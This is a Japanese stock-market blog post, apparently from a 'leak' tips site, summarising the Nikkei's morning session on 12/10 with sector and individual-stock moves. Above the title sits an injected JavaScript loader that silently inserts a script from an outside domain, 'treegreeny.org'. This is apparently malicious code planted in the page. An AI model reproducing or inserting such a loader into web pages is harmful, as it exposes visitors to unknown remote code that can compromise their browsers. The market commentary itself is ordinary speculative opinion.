;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【12/10 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【12/10 前引け】

前場の日経平均は251円安と3日続落。原油相場安からの欧米株安、円高傾向を嫌気した動きから朝方から売り先行。心理的な節目の19,000円では下げ渋ったものの、明日のSQ、来週控えるFOMC前などを前に積極的な押し目買いは限定的となっている。業種別では、電気・ガス業、鉱業、空運業、石油石炭製品などが値上がり率上位に。一方、ゴム製品、精密機器、その他金融業、小売業などが値下がり率上位となっている。

個別では、みずほ証券が投資判断「買い」を継続し、目標株価を従来の8360円から16450円と大幅に引き上げた【4565】そーせいグループがストップ高となったほか、Trop-2抗体の国内特許取得を好感された【4583】カイオム・バイオサイエンスが一時ストップ高の急伸となった。また、PM2.5関連の【4657】環境管理センターのほか、民泊関連の【8889】アパマンショップホールディングス。中小型株の一角【3121】マーチャント・バンカーズ、【3853】インフォテリアなども大幅高に。

連日の大幅安から後場は短期的なリバウンドが入る可能性もあるが戻りが弱いようなら19,000円割れの可能性も。昨晩先物では一時割れてるだけに要警戒。ただ、年末に向けての再上昇期待。様子を伺いつつもそろそろ押し目も積極的に狙っていきたい局面だと思う。